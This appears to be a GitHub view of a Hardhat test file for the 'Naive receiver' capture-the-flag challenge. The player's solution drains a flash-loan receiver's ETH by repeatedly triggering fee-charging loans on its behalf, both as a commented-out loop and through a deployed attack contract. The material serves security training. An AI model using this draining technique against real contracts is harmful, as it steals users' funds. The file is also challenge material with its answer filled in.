-
Notifications
You must be signed in to change notification settings - Fork 18
/
naive-receiver.challenge.js
65 lines (51 loc) · 2.42 KB
/
naive-receiver.challenge.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Naive receiver', function () {
let deployer, user, player;
let pool, receiver;
// Pool has 1000 ETH in balance
const ETHER_IN_POOL = 1000n * 10n ** 18n;
// Receiver has 10 ETH in balance
const ETHER_IN_RECEIVER = 10n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, user, player] = await ethers.getSigners();
const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer);
const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer);
pool = await LenderPoolFactory.deploy();
await deployer.sendTransaction({ to: pool.address, value: ETHER_IN_POOL });
const ETH = await pool.ETH();
expect(await ethers.provider.getBalance(pool.address)).to.be.equal(ETHER_IN_POOL);
expect(await pool.maxFlashLoan(ETH)).to.eq(ETHER_IN_POOL);
expect(await pool.flashFee(ETH, 0)).to.eq(10n ** 18n);
receiver = await FlashLoanReceiverFactory.deploy(pool.address);
await deployer.sendTransaction({ to: receiver.address, value: ETHER_IN_RECEIVER });
await expect(
receiver.onFlashLoan(deployer.address, ETH, ETHER_IN_RECEIVER, 10n**18n, "0x")
).to.be.reverted;
expect(
await ethers.provider.getBalance(receiver.address)
).to.eq(ETHER_IN_RECEIVER);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
// 10 transactions
// const ETH = await pool.ETH();
// for(let i = 0; i < 10; i++){
// await pool.connect(player).flashLoan(receiver.address, ETH, 0, "0x");
// }
// 1 transaction
const AttackerContractFactory = await ethers.getContractFactory('AttackNaiveReceiver', player);
await AttackerContractFactory.deploy(pool.address, receiver.address);
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// All ETH has been drained from the receiver
expect(
await ethers.provider.getBalance(receiver.address)
).to.be.equal(0);
expect(
await ethers.provider.getBalance(pool.address)
).to.be.equal(ETHER_IN_POOL + ETHER_IN_RECEIVER);
});
});